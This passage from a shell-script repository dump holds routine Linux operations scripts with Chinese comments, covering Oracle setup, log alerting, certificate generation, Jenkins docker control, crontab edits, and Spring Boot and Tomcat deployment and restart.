'10aORACLE_BASE=/oracle\nORACLE_HOME=$ORACLE_BASE/product/10.2.0/db_1\nORACLE_SID=orcl\nPATH=$PATH:$HOME/bin:$ORACLE_HOME/bin\nLD_LIBRARY_PATH=$ORACLE_HOME/lib:/usr/lib\nexport ORACLE_BASE\nexport ORACLE_HOME\nexport ORACLE_SID\nexport PATH\nexport LD_LIBRARY_PATH\n' ./.bash_profile 75 | source ./.bash_profile 76 | } 77 | function installOracle() 78 | { 79 | cd /tmp 80 | unzip oracle_10201_database_linux32.zip 81 | cd /tmp/database 82 | ./runInstaller 83 | } 84 | 85 | checkOracleInstallUser 86 | checkUserEnviroment 87 | installOracle 88 | 89 | 90 | 91 | -------------------------------------------------------------------------------- /shell/demo/read_param: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | readfile() 3 | { 4 | x=$1 5 | echo "目录存在,请输入文件名" 6 | read file 7 | if [ -f "$file" ];then 8 | echo "存在" 9 | else 10 | echo "文件不存在,是否创建文件,yes创建,no不创建" 11 | read m 12 | case "$m" in 13 | "yes")cd $x 14 | touch $file;; 15 | "no")echo "退出";; 16 | *)echo "输入有误,退出" 17 | esac 18 | fi 19 | 20 | } 21 | 22 | 23 | 24 | echo "请输入目录名:" 25 | read dir 26 | if [ -d "$dir" ];then 27 | readfile $dir 28 | else 29 | echo "目录不存在,退出" 30 | fi 31 | 32 | -------------------------------------------------------------------------------- /shell/demo/rmfille: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | ###Warning:Not Modified 3 | 4 | VARS=$# 5 | if [ $VARS -lt 1 ]; 6 | then 7 | echo "[ERROR!]:must input which dir or file you want to delete!" 8 | echo "####any questions please mail-to:liuli@hou.com ######" 9 | exit 0; 10 | fi 11 | FILE_INPUT=$1 12 | mkdir -p /home/dq_offline/tmp_lich123 13 | sudo mv $FILE_INPUT /home/dq_offline/tmp_lich123 14 | sudo chown -R dq_offline:dq_offline /home/dq_offline/tmp_lich123 15 | rm -rf /home/dq_offline/tmp_lich123 16 | echo "delete ${FILE_INPUT} Done!" 17 | 18 | -------------------------------------------------------------------------------- /shell/demo/tree.sh: -------------------------------------------------------------------------------- 1 | #------------------------- 2 | #!/bin/sh 3 | #save as tree.sh, and chmod +x tree.sh , run it. 4 | # $ cp tree.sh /bin #复制tree shell脚本到bin目录中去 5 | # $ vi /usr/etc/profile #在文件末行添加别名 6 | # alias tree='tree.sh' 7 | cd ./$1 8 | pwd 9 | find ./ -name "*" -o -name ".*" 2>/dev/null |sed -e 's/^\.//' |sed -n '2,$p' | while read line 10 | do 11 | a=`echo $line |awk -F\/ '{print NF}'` 12 | a=$((a-2)) 13 | i=1 14 | case $a in 15 | 0) echo $line |sed -e 's/\//|---/' ;; 16 | *) while [ ! $i -gt $a ]; do 17 | line=`echo $line |sed -e 's/\/[^\/]*/|/'` 18 | i=$((i+1)) 19 | done 20 | echo $line |sed -e 's/\//|---/' -e 's/ *//g';; 21 | esac 22 | done 23 | #------------------------- -------------------------------------------------------------------------------- /shell/nmon/nmon: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gitjayzhen/ShellRepository/ccb5cbb5593c541b165bb7b07db6c258dcb6a655/shell/nmon/nmon -------------------------------------------------------------------------------- /shell/nmon/nmon_start.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | Tday=$(date +%y%m%d) 3 | file_path="/home/ap/epsvc/perfmon/$Tday/" 4 | file_ser="T105PC02VM07" 5 | file_ip="***" 6 | file_time=$(date +%Y%m%d%H%M) 7 | file_format=".nmon" 8 | path_log=$file_path/$file_ser-$file_ip-$file_time$file_format 9 | 10 | if [ ! -d $file_path ] 11 | then 12 | mkdir $file_path 13 | chmod 777 $file_path 14 | fi 15 | 16 | ../nmon -t -F $path_log -s 10 -c 8640 & 17 | exit 0 18 | -------------------------------------------------------------------------------- /shell/notification/mail_log.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | source /etc/profile 3 | DateStart=`date "+%Y-%m-%d %H:%M" -d '3 minutes ago'` 4 | progremName=$1 5 | LogFile=/data/log/tomcat_${progremName}/catalina.out 6 | LogTemp=/tmp/catalina_min.log 7 | FileLogContent=/tmp/content.log 8 | IP=`grep 'IPADDR' /etc/sysconfig/network-scripts/ifcfg-eth0 |awk -F= '{print $2}'` 9 | #IP=`grep 'IPADDR' /etc/sysconfig/network-scripts/ifcfg-enp1s0 |awk -F= '{print $2}'` 10 | #egrep -wv "WARN|INFO" ${LogFile}|sed -n "/${DateStart}/,$p" > ${LogTemp} 11 | egrep -wv "WARN|INFO" ${LogFile}|awk -v var="${DateStart}" '{if($2>=var)f=1;else f=0}f' > ${LogTemp} 12 | 13 | ErrNum=`grep -wc 'ERROR' ${LogTemp}` 14 | ExceptionNum=`grep -c 'Exception' ${LogTemp}` 15 | if [[ ${ErrNum} != 0 ]] || [[ ${NullPointerExceptionNum} != 0 ]];then 16 | > ${FileLogContent} 17 | echo "${DateStart}" >> ${FileLogContent} 18 | echo "$IP" >> ${FileLogContent} 19 | echo ${progremName} >> ${FileLogContent} 20 | echo "ERROR : $ErrNum" >> ${FileLogContent} 21 | echo "Exception : ${ExceptionNum}" >> ${FileLogContent} 22 | echo "----------------------------------------------------" >> ${FileLogContent} 23 | grep -w "ERROR" ${LogTemp} |tail -10 >> ${FileLogContent} 24 | echo "----------------------------------------------------" >> ${FileLogContent} 25 | grep -vw 'ERROR' ${LogTemp} |grep -A10 "Exception" |tail -59 >> ${FileLogContent} 26 | LogContent=`cat ${FileLogContent}` 27 | python mail.py "zhao@hu.cn,wang01@hu.cn" "[重要]异常报警" "${LogContent}" 28 | fi 29 | -------------------------------------------------------------------------------- /shell/notification/weixin_log.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | source /etc/profile 3 | DateStart=`date "+%Y-%m-%d %H:%M" -d '5 minutes ago'` 4 | progremName="$1" 5 | #LogFile=/root/catalina.out 6 | LogFile=/data/log/tomcat_${progremName}/catalina.out 7 | LogTemp=/tmp/weixin_${progremName}_catalina_min.log 8 | FileLogContent=/tmp/weixin_${progremName}_content.log 9 | #IP=`grep 'IPADDR' /etc/sysconfig/network-scripts/ifcfg-eth0 |awk -F= '{print $2}'` 10 | IP=`grep 'IPADDR' /etc/sysconfig/network-scripts/ifcfg-enp1s0 |awk -F= '{print $2}'` 11 | #egrep -wv "WARN|INFO" ${LogFile}|sed -n "/${DateStart}/,$p" > ${LogTemp} 12 | egrep -wv "WARN|INFO" ${LogFile}|awk -v var="${DateStart}" '{if($2>=var)f=1;else f=0}f' > ${LogTemp} 13 | 14 | ErrNum=`grep -wc 'ERROR' ${LogTemp}` 15 | ExceptionNum=`grep -c 'Exception' ${LogTemp}` 16 | if [[ ${ErrNum} != 0 ]] || [[ ${NullPointerExceptionNum} != 0 ]];then 17 | > ${FileLogContent} 18 | echo "${progremName}" >> ${FileLogContent} 19 | echo "${DateStart}" >> ${FileLogContent} 20 | echo "$IP" >> ${FileLogContent} 21 | echo "ERROR : $ErrNum" >> ${FileLogContent} 22 | echo "Exception : ${ExceptionNum}" >> ${FileLogContent} 23 | LogContent=`cat ${FileLogContent}` 24 | python weixin.py "${LogContent}" 25 | fi 26 | -------------------------------------------------------------------------------- /shell/software/generate-certificate.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/bash 2 | 3 | ip=$1 4 | cerDir="$HOME/.ios-ipa-server/"$ip"/" 5 | # echo $ip 6 | # echo $cerDir 7 | mkdir -p "$cerDir" 8 | 9 | # get rid of output 10 | blackhole="/dev/null" 11 | 12 | openssl genrsa -out "$cerDir"myCA.key 2048 2> $blackhole 13 | 14 | openssl req -x509 -new -key "$cerDir"myCA.key -out "$cerDir"myCA.cer -days 730 -subj /CN="ios-ipa-server "$ip" Custom CA" 2> $blackhole 15 | 16 | openssl genrsa -out "$cerDir"mycert1.key 2048 2> $blackhole 17 | 18 | openssl req -new -out "$cerDir"mycert1.req -key "$cerDir"mycert1.key -subj /CN=$ip 2> $blackhole 19 | 20 | openssl x509 -req -in "$cerDir"mycert1.req -out "$cerDir"mycert1.cer -CAkey "$cerDir"myCA.key -CA "$cerDir"myCA.cer -days 365 -CAcreateserial -CAserial "$cerDir"serial 2> $blackhole 21 | 22 | 23 | # 最后两行需要手动执行 24 | openssl pkcs12 -export -in "$cerDir"mycert1.cer -inkey "$cerDir"mycert1.key -out "$cerDir"server.p12 -name "server" 123456 123456 25 | #123456 26 | keytool -importkeystore -v -srckeystore "$cerDir"server.p12 -srcstoretype pkcs12 -srcstorepass 123456 -destkeystore "$cerDir"server.keystore -deststoretype jks -deststorepass 123456 27 | -------------------------------------------------------------------------------- /shell/software/jenkins.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | #Warning:Not Modified 3 | 4 | VAR=$# 5 | if [ $VAR -lt 1 ] 6 | then 7 | echo "[-]Please input [stop|start|restart] as parameter!" 8 | exit 0 9 | fi 10 | 11 | INPUT=$1 12 | if [ $INPUT = "stop" ] 13 | then 14 | STATUS=`docker ps |grep houniao_jenkins | wc -l` 15 | if [ $STATUS -lt 1 ] 16 | then 17 | echo "[-]houniao_jenkins NOT EXIST!" 18 | exit 0 19 | else 20 | docker rm -f houniao_jenkins 21 | echo "[+]houniao_jenkins REMOVED!" 22 | exit 0 23 | fi 24 | elif [ $INPUT = "start" ] 25 | then 26 | STATUS=`docker ps |grep houniao_jenkins | wc -l` 27 | if [ $STATUS -lt 1 ] 28 | then 29 | docker run --name houniao_jenkins -d -p 8888:8080 -p 50000:50000 -v /houniao/data/jenkins:/var/jenkins_home -e JAVA_OPTS=-Duser.timezone=Asia/Shanghai registry.houniao.net/library/jenkins:2 30 | echo "[+]houniao_jenkins RUNNING NOW!" 31 | exit 0 32 | else 33 | echo "[-]houniao_jenkins already EXIST!" 34 | exit 0 35 | fi 36 | elif [ $INPUT = "restart" ] 37 | then 38 | STATUS=`docker ps |grep houniao_jenkins | wc -l` 39 | if [ $STATUS -lt 1 ] 40 | then 41 | echo "[-]houniao_jenkins NOT EXIST! now start it only!" 42 | docker run --name houniao_jenkins -d -p 8888:8080 -p 50000:50000 -v /houniao/data/jenkins:/var/jenkins_home -e JAVA_OPTS=-Duser.timezone=Asia/Shanghai registry.houniao.net/library/jenkins:2 43 | echo "[+]houniao_jenkins RUNNING NOW!" 44 | exit 0 45 | else 46 | docker rm -f houniao_jenkins 47 | echo "[+]houniao_jenkins REMOVED!" 48 | docker run --name houniao_jenkins -d -p 8888:8080 -p 50000:50000 -v /houniao/data/jenkins:/var/jenkins_home -e JAVA_OPTS=-Duser.timezone=Asia/Shanghai registry.houniao.net/library/jenkins:2 49 | echo "[+]houniao_jenkins RUNNING NOW!" 50 | exit 0 51 | fi 52 | else 53 | echo "[-]Parameter not supported ! Please input [stop|start|restart] as parameter!" 54 | exit 0 55 | fi 56 | 57 | 58 | 59 | -------------------------------------------------------------------------------- /shell/software/redis_ip_cheack.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | echo '>>>Get server ipaddress :' 3 | ip=`ifconfig eth0 | sed -n '/inet addr/p' | awk '{print $2}' | awk -F: '{print $2}'` 4 | echo $ip 5 | 6 | workspace='/etc/' 7 | cd $workspace 8 | echo '>>>current work path :' `pwd` 9 | 10 | filelist=("redis6380.conf" "redis6381.conf" "redis6382.conf") 11 | 12 | for f in "${filelist[@]}";do 13 | echo ">>>current check file is :" $f 14 | # cat redis6380.conf | grep '^slaveof' | awk '{print $2}' 15 | # cat redis6380.conf | awk '/^slaveof/{print $2}' 16 | oldip=$(cat $f | sed -n '/^slaveof/p' | awk '{print $2}') 17 | #$(awk -v tmps="$ip" '$1~/slaveof/{$2=tmps}1' $f 1<>$f) 18 | newip=$(cat $f | sed -n '/^slaveof/p' | awk '{print $2}') 19 | echo $oldip '-->' $newip 20 | done 21 | 22 | echo 'successed.' 23 | -------------------------------------------------------------------------------- /shell/software/update-crontab.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | CUR_PATH=$(cd "$(dirname "$0")"; pwd) 4 | 5 | # 要定时执行的任务 6 | TASK_COMMAND="echo 'aaa' >> /var/cron_test" 7 | # 要添加的crontab任务 8 | CRONTAB_TASK="*/30 * * * * ${TASK_COMMAND}" 9 | # 备份原始crontab记录文件 10 | CRONTAB_BAK_FILE="${CUR_PATH}/crontab_bak" 11 | 12 | # 创建crontab任务函数 13 | function create_crontab() 14 | { 15 | echo 'Create crontab task...' 16 | crontab -l > ${CRONTAB_BAK_FILE} 2>/dev/null 17 | sed -i "/.*${TASK_COMMAND}/d" ${CRONTAB_BAK_FILE} # 已存在任务时会被sed删除,防止重复添加 18 | echo "${CRONTAB_TASK}" >> ${CRONTAB_BAK_FILE} 19 | crontab ${CRONTAB_BAK_FILE} 20 | 21 | echo 'Complete' 22 | } 23 | 24 | # 清除crontab任务函数 25 | function clear_crontab(){ 26 | echo 'Delete crontab task...' 27 | crontab -l > ${CRONTAB_BAK_FILE} 2>/dev/null 28 | sed -i "/.*${SCRIPT_NAME}/d" ${CRONTAB_BAK_FILE} 29 | crontab ${CRONTAB_BAK_FILE} 30 | 31 | echo 'Complete' 32 | } 33 | 34 | if [ $# -lt 1 ]; then 35 | echo "Usage: $0 [start | stop]" 36 | exit 1 37 | fi 38 | 39 | case $1 in 40 | 'start' ) 41 | create_crontab 42 | ;; 43 | 'stop' ) 44 | clear_crontab 45 | ;; 46 | esac -------------------------------------------------------------------------------- /shell/spring-boot-server/creditstartup.sh: -------------------------------------------------------------------------------- 1 | echo "执行....." 2 | 3 | JAR_NAME=$1 4 | DEPLOY_JAR_PATH=/jayzhen/server/spring-cloud 5 | cd $DEPLOY_JAR_PATH 6 | chmod 777 $DEPLOY_JAR_PATH/$JAR_NAME 7 | #nohup java -Xms512m -Xmx1024m -jar $JAR_NAME --spring.profiles.active=test55 --spring.cloud.config.uri=http://192.168.18.55:8085/config-server/ >> /jayzhen/server/spring-cloud/$1.log 2>&1 & 8 | nohup java -Xms512m -Xmx1024m -jar $JAR_NAME --spring.cloud.config.profile=test56 --spring.cloud.config.uri=http://192.168.18.51/config-server/ >> /jayzhen/server/spring-cloud/$1.log 2>&1 & 9 | sleep 10 10 | 11 | echo "**********************jenkins started*************************" 12 | -------------------------------------------------------------------------------- /shell/spring-boot-server/serverDeploy.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | source /etc/profile 3 | # sh -x serverDeploy.sh test.jar 8099 4 | # 第一:首相对旧服务进行检测关闭操作 命令行第一参数:xxx.jar 5 | SERVICE=$1 6 | PORT=$2 7 | echo $SERVICE 8 | PID=`ps -ef | grep "$SERVICE" | grep java | grep -v "$0" | grep -v "grep" | awk '{print $2}'` 9 | # 如果启动了多个同名服务,需要使用for循环处理 for id in $PID do done 10 | if [ "$PID"x != ""x ] 11 | then 12 | kill -9 $PID 13 | echo "killed $PID" 14 | fi 15 | 16 | # 第二:进行部署文件的路径操作 17 | 18 | JAR_NAME=$1 19 | DIRNAME=`echo $JAR_NAME | awk -F . '{print $1}' ` 20 | 21 | TARGET=/data/server/services/target 22 | DEPLOY_JAR_PATH=/data/server/services/$DIRNAME 23 | 24 | #!将现有的jar备份后,将新的jar包替换 25 | if [ ! -d "$DEPLOY_JAR_PATH" ] 26 | then 27 | mkdir -p $DEPLOY_JAR_PATH 28 | fi 29 | 30 | if [ ! -d "$TARGET/backup" ] 31 | then 32 | mkdir -p $TARGET/backup 33 | fi 34 | 35 | file="/$DEPLOY_JAR_PATH/$JAR_NAME" 36 | if [ -f "$file" ] 37 | then 38 | mv $file $TARGET/backup/$JAR_NAME.`date +%Y%m%d%H%M%S` 39 | fi 40 | sleep 4 41 | cp -f $TARGET/$JAR_NAME $DEPLOY_JAR_PATH/$JAR_NAME 42 | 43 | # 第三:修改jar文件操作权限,启动服务,记录日志 44 | 45 | cd $DEPLOY_JAR_PATH 46 | chmod 777 $DEPLOY_JAR_PATH/$JAR_NAME 47 | nohup java -Xmx1024m -Xms512m -Xss256k -jar $JAR_NAME --spring.profiles.active=test --server.port=$PORT --logging.path=$DEPLOY_JAR_PATH >> spring.log 2>&1 & 48 | echo 'java进程列表:' 49 | jps -m 50 | echo '*********************服务部署结束***********************' 51 | 52 | -------------------------------------------------------------------------------- /shell/spring-boot-server/serverMonitor.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | Tag="Application" 3 | MainClass="com.test.Application" 4 | Lib="/testboot/test/lib/" 5 | Log="/testboot/test/run.log" 6 | JVM="-server -Xms128m -Xmx128m -XX:PermSize=32M -XX:MaxNewSize=64m -XX:MaxPermSize=64m -Djava.awt.headless=true -XX:+CMSClassUnloadingEnabled -XX:+CMSPermGenSweepingEnabled" 7 | echo $Tag 8 | RETVAL="0" 9 | 10 | # See how we were called. 11 | function start() { 12 | echo $Log 13 | if [ ! -f $Log ]; then 14 | touch $Log 15 | fi 16 | nohup java $JVM -Dappliction=$Tag -Djava.ext.dirs=$Lib":${JAVA_HOME}/jre/lib/ext" $MainClass > $Log 2>&1 & 17 | tailf $Log 18 | } 19 | 20 | 21 | function stop() { 22 | pid=$(ps -ef | grep -v 'grep' | egrep $Tag| awk '{printf $2 " "}') 23 | if [ "$pid" != "" ]; then 24 | echo -n "boot ( pid $pid) is running" 25 | echo 26 | echo -n $"Shutting down boot: " 27 | pid=$(ps -ef | grep -v 'grep' | egrep $Tag| awk '{printf $2 " "}') 28 | if [ "$pid" != "" ]; then 29 | echo "kill boot process" 30 | kill -9 "$pid" 31 | fi 32 | else 33 | echo "boot is stopped" 34 | fi 35 | 36 | status 37 | } 38 | 39 | function status() 40 | { 41 | pid=$(ps -ef | grep -v 'grep' | egrep $Tag| awk '{printf $2 " "}') 42 | #echo "$pid" 43 | if [ "$pid" != "" ]; then 44 | echo "boot is running,pid is $pid" 45 | else 46 | echo "boot is stopped" 47 | fi 48 | } 49 | 50 | 51 | 52 | function usage() 53 | { 54 | echo "Usage: $0 {start|stop|restart|status}" 55 | RETVAL="2" 56 | } 57 | 58 | # See how we were called. 59 | RETVAL="0" 60 | case "$1" in 61 | start) 62 | start 63 | ;; 64 | stop) 65 | stop 66 | ;; 67 | restart) 68 | stop 69 | start 70 | ;; 71 | reload) 72 | RETVAL="3" 73 | ;; 74 | status) 75 | status 76 | ;; 77 | *) 78 | usage 79 | ;; 80 | esac 81 | 82 | exit $RETVAL -------------------------------------------------------------------------------- /shell/tomcat/.mavenrc: -------------------------------------------------------------------------------- 1 | # .mavenrc 2 | # 作为docker轻应用使用:用后删除 3 | mvn() { 4 | docker run --rm \ 5 | -v $(pwd):/project \ 6 | -v /data/tmp/.m2:/root/.m2 \ 7 | registry.qadev.com/library-exe/maven:3-jdk8 \ 8 | $* 9 | } 10 | -------------------------------------------------------------------------------- /shell/tomcat/batchUpProject.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | cmds=$1 3 | echo $cmds 4 | projectArray=("tomcat-1" "tomcat-2" "tomcat-3" "tomcat-4") 5 | workpath=/data/server 6 | 7 | cd $workpath || exit 8 | if [ "$cmds" = "start" ]; then 9 | for p in "${projectArray[@]}";do 10 | echo "${p}"/bin 11 | PID=`ps -ef | grep "${p}" |grep classpath |grep -v grep |awk '{print $2}'` 12 | if [ "${PID}" != "" ];then 13 | echo "Kill ${p} " 14 | kill -9 "${PID}" 15 | fi 16 | sh $p/bin/startup.sh 17 | done 18 | fi 19 | 20 | if [ "${cmds}" = "clean" ]; then 21 | for p in "${projectArray[@]}";do 22 | echo "${p}"/logs 23 | cd "${p}"/logs 24 | :> catalina.out || exit 25 | echo "clean up finished" 26 | cd ../.. 27 | done 28 | fi 29 | -------------------------------------------------------------------------------- /shell/tomcat/serverDeploy.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | source /etc/profile 3 | # sh -x serverDeploy.sh test.jar 8099 4 | # 第一:首相对旧服务进行检测关闭操作 命令行第一参数:xxx.jar 5 | SERVICE=$1 6 | PORT=$2 7 | echo $SERVICE 8 | PID=`ps -ef | grep "$SERVICE" | grep java | grep -v "$0" | grep -v "grep" | awk '{print $2}'` 9 | if [ "$PID"x != ""x ] 10 | then 11 | kill -9 $PID 12 | echo "killed $PID" 13 | fi 14 | 15 | # 第二:进行部署文件的路径操作 16 | 17 | JAR_NAME=$1 18 | DIRNAME=`echo $JAR_NAME | awk -F . '{print $1}' ` 19 | 20 | TARGET=/data/server/services/target 21 | DEPLOY_JAR_PATH=/data/server/services/$DIRNAME 22 | 23 | #!将现有的jar备份后,将新的jar包替换 24 | if [ ! -d "$DEPLOY_JAR_PATH" ] 25 | then 26 | mkdir -p $DEPLOY_JAR_PATH 27 | fi 28 | 29 | if [ ! -d "$TARGET/backup" ] 30 | then 31 | mkdir -p $TARGET/backup 32 | fi 33 | 34 | file="/$DEPLOY_JAR_PATH/$JAR_NAME" 35 | if [ -f "$file" ] 36 | then 37 | mv $file $TARGET/backup/$JAR_NAME.`date +%Y%m%d%H%M%S` 38 | fi 39 | sleep 4 40 | cp -f $TARGET/$JAR_NAME $DEPLOY_JAR_PATH/$JAR_NAME 41 | 42 | # 第三:修改jar文件操作权限,启动服务,记录日志 43 | 44 | cd $DEPLOY_JAR_PATH 45 | chmod 777 $DEPLOY_JAR_PATH/$JAR_NAME 46 | nohup java -Xmx1024m -Xms512m -Xss256k -jar $JAR_NAME --spring.profiles.active=test --server.port=$PORT --logging.path=$DEPLOY_JAR_PATH >> spring.log 2>&1 & 47 | echo 'java进程列表:' 48 | jps -m 49 | echo '*********************服务部署结束***********************' 50 | 51 | -------------------------------------------------------------------------------- /shell/tomcat/service.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | basedir=`cd $(dirname $0); pwd -P` 4 | tclog=${basedir}/logs/catalina.out 5 | 6 | export JAVA_OPTS="-server -Xmx4g -Xms4g -XX:PermSize=256m -XX:MaxPermSize=512m -XX:+UseG1GC -XX:MaxGCPauseMillis=200" 7 | export CATALINA_PID=${basedir}/bin/tomcat.pid 8 | export CATALINA_OPTS="${JAVA_AGENT} -Djava.rmi.server.hostname=10.1.1.1" 9 | export JAVA_HOME="/data/jdk" 10 | export JRE_HOME="/data/jdk" 11 | 12 | RETVAL=0 13 | start(){ 14 | checkrun 15 | if [ $RETVAL -eq 0 ]; then 16 | rm -f ${tclog} 17 | echo "-- Starting tomcat..." 18 | $basedir/bin/startup.sh 19 | if [ $? != 0 ]; then 20 | return 21 | fi 22 | checkrun 23 | set tries=0 24 | while [ $RETVAL -eq 0 ]; do 25 | let tries++ 26 | sleep 1 27 | echo "-- Waiting ${tries}s for startup..." 28 | if [ $tries -gt 60 ]; then 29 | break 30 | fi 31 | checkrun 32 | done 33 | else 34 | echo "-- tomcat already running" 35 | fi 36 | } 37 | 38 | # 停止tomcat,如果是重启则带re参数,表示不查看日志,等待启动时再提示查看 39 | stop(){ 40 | checkrun 41 | if [ $RETVAL -eq 1 ]; then 42 | echo "-- Shutting down tomcat..." 43 | $basedir/bin/shutdown.sh 10 -force 44 | checkrun 45 | else 46 | echo "-- Tomcat is stopped" 47 | fi 48 | } 49 | 50 | status(){ 51 | checkrun 52 | if [ $RETVAL -eq 1 ]; then 53 | echo -n "-- Tomcat ( pid " 54 | ps ax | grep ${basedir} | grep -v "grep" | awk '{printf $1 " "}' 55 | echo -n ") is running..." 56 | echo 57 | else 58 | echo "-- Tomcat is stopped" 59 | fi 60 | #echo "---------------------------------------------" 61 | } 62 | 63 | # 查看tomcat日志,带vl参数 64 | log(){ 65 | status 66 | checklog 67 | } 68 | 69 | # 如果tomcat正在运行,强行杀死tomcat进程,关闭tomcat 70 | kill(){ 71 | checkrun 72 | if [ $RETVAL -eq 1 ]; then 73 | ps ax | grep ${basedir} | grep -v "grep" | awk '{printf $1 " "}' | xargs kill -9 74 | status 75 | else 76 | echo "-- tomcat is not running..." 77 | fi 78 | } 79 | 80 | 81 | checkrun(){ 82 | ps ax | grep ${basedir} | grep -v "grep" 83 | RETVAL=$((1-$?)) 84 | return $RETVAL 85 | } 86 | 87 | # 如果是直接查看日志viewlog,则不提示输入[yes],否则就是被stop和start调用,需提示是否查看日志 88 | checklog(){ 89 | echo "---------------preview log begin-------------" 90 | tail -n 20 ${tclog} 91 | echo "---------------preview log end-------------" 92 | } 93 | 94 | case "$1" in 95 | start) 96 | start 97 | ;; 98 | stop) 99 | stop 100 | ;; 101 | restart) 102 | stop re 103 | start 104 | ;; 105 | status) 106 | status 107 | #$basedir/bin/catalina.sh version 108 | ;; 109 | log) 110 | log 111 | ;; 112 | kill) 113 | status 114 | kill 115 | ;; 116 | *) 117 | echo "Usage: $0 {start|stop|restart|status|log|kill}" 118 | esac 119 | 120 | -------------------------------------------------------------------------------- /shell/tomcat/service2.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | basedir=`cd $(dirname $0); pwd -P` 4 | tclog=${basedir}/logs/catalina.$(date +%Y-%m-%d)* 5 | 6 | export JAVA_HOME="/usr/local/jdk1.7.0_15/" 7 | export JAVA_OPTS="-server -Xmx256m -Xms128m -XX:MaxPermSize=64m -XX:+UseG1GC -XX:MaxGCPauseMillis=200 -XX:+AggressiveOpts -Djava.security.egd=file:/dev/urandom -javaagent:/data/su/jacocoagent.jar=includes=*,output=tcpserver,port=8757,address=XXXXXXXX" 8 | export COOKIE_OPTS="-Dorg.apache.tomcat.util.http.ServerCookie.ALLOW_EQUALS_IN_VALUE=true -Dorg.apache.tomcat.util.http.ServerCookie.ALLOW_HTTP_SEPARATORS_IN_V0=true -Dorg.apache.tomcat.util.http.ServerCookie.FWD_SLASH_IS_SEPARATOR=true" 9 | export CATALINA_PID=${basedir}/bin/tomcat.pid 10 | #export CATALINA_OPTS="${COOKIE_OPTS} -Dcom.sun.management.jmxremote -Djava.rmi.server.hostname=XXXXXX -Dcom.sun.management.jmxremote.port=12301 -Dcom.sun.management.jmxremote.authenticate=false -Dcom.sun.management.jmxremote.ssl=false" 11 | 12 | RETVAL=0 13 | start(){ 14 | checkrun 15 | if [ $RETVAL -eq 0 ]; then 16 | rm -f ${tclog} 17 | echo "-- Starting tomcat..." 18 | $basedir/bin/startup.sh 19 | checkrun 20 | set tries=0 21 | while [ $RETVAL -eq 0 ]; do 22 | let tries++ 23 | sleep 1 24 | echo "-- Waiting ${tries}s for startup..." 25 | if [ $tries -gt 60 ]; then 26 | break 27 | fi 28 | checkrun 29 | done 30 | else 31 | echo "-- tomcat already running" 32 | fi 33 | } 34 | 35 | # 停止tomcat,如果是重启则带re参数,表示不查看日志,等待启动时再提示查看 36 | stop(){ 37 | checkrun 38 | if [ $RETVAL -eq 1 ]; then 39 | echo "-- Shutting down tomcat..." 40 | $basedir/bin/shutdown.sh 10 -force 41 | checkrun 42 | else 43 | echo "-- Tomcat is stopped" 44 | fi 45 | } 46 | 47 | status(){ 48 | checkrun 49 | if [ $RETVAL -eq 1 ]; then 50 | echo -n "-- Tomcat ( pid " 51 | ps ax | grep ${basedir} | grep -Ev "service.sh|grep" | awk '{printf $1 " "}' 52 | echo -n ") is running..." 53 | echo 54 | else 55 | echo "-- Tomcat is stopped" 56 | fi 57 | #echo "---------------------------------------------" 58 | } 59 | 60 | # 查看tomcat日志,带vl参数 61 | log(){ 62 | status 63 | checklog 64 | } 65 | 66 | # 如果tomcat正在运行,强行杀死tomcat进程,关闭tomcat 67 | kill(){ 68 | checkrun 69 | if [ $RETVAL -eq 1 ]; then 70 | ps ax | grep ${basedir} | grep -Ev "service.sh|grep" | awk '{printf $1 " "}' | xargs kill -9 71 | status 72 | else 73 | echo "-- tomcat is not running..." 74 | fi 75 | } 76 | 77 | 78 | checkrun(){ 79 | ps ax | grep ${basedir} | grep -Ev "service.sh|grep" 80 | RETVAL=$((1-$?)) 81 | return $RETVAL 82 | } 83 | 84 | # 如果是直接查看日志viewlog,则不提示输入[yes],否则就是被stop和start调用,需提示是否查看日志 85 | checklog(){ 86 | echo "---------------preview log begin-------------" 87 | tail -n 20 ${tclog} 88 | echo "---------------preview log end-------------" 89 | } 90 | 91 | case "$1" in 92 | start) 93 | start 94 | ;; 95 | stop) 96 | stop 97 | ;; 98 | restart) 99 | #stop re 100 | stop 101 | start 102 | ;; 103 | status) 104 | status 105 | #$basedir/bin/catalina.sh version 106 | ;; 107 | log) 108 | log 109 | ;; 110 | kill) 111 | status 112 | kill 113 | ;; 114 | *) 115 | echo "Usage: $0 {start|stop|restart|status|log|kill}" 116 | esac 117 | 118 | -------------------------------------------------------------------------------- /shell/tomcat/simple-restart.sh: -------------------------------------------------------------------------------- 1 | #! /bin/bash 2 | p='/data/webautoservice/tomcat' 3 | file=$p/ROOT.war 4 | echo "this is file--->"$file 5 | if [ ! -e $file ];then 6 | echo "this is ROOT.war is not fail" 7 | exit -1 8 | fi 9 | rm -rf $p/webapps/ 10 | mkdir $p/webapps 11 | cp $file $p/webapps/ 12 | 13 | tomcatpath=${p}'/bin' 14 | echo 'operate restart tomcat: '$tomcatpath 15 | pid=`ps aux | grep $tomcatpath | grep -v grep | grep -v retomcat | awk '{print $2}'` 16 | echo 'exist pid:'$pid 17 | 18 | if [ -n "$pid" ] 19 | then 20 | { 21 | echo ===========shutdown================ 22 | $tomcatpath'/shutdown.sh' 23 | sleep 2 24 | pid=`ps aux | grep $tomcatpath | grep -v grep | grep -v retomcat | awk '{print $2}'` 25 | if [ -n "$pid" ] 26 | then 27 | { 28 | sleep 2 29 | echo ========kill tomcat begin============== 30 | echo $pid 31 | kill -9 $pid 32 | echo ========kill tomcat end============== 33 | } 34 | fi 35 | sleep 2 36 | echo ===========startup.sh============== 37 | $tomcatpath'/startup.sh' 38 | } 39 | else 40 | echo ===========startup.sh============== 41 | 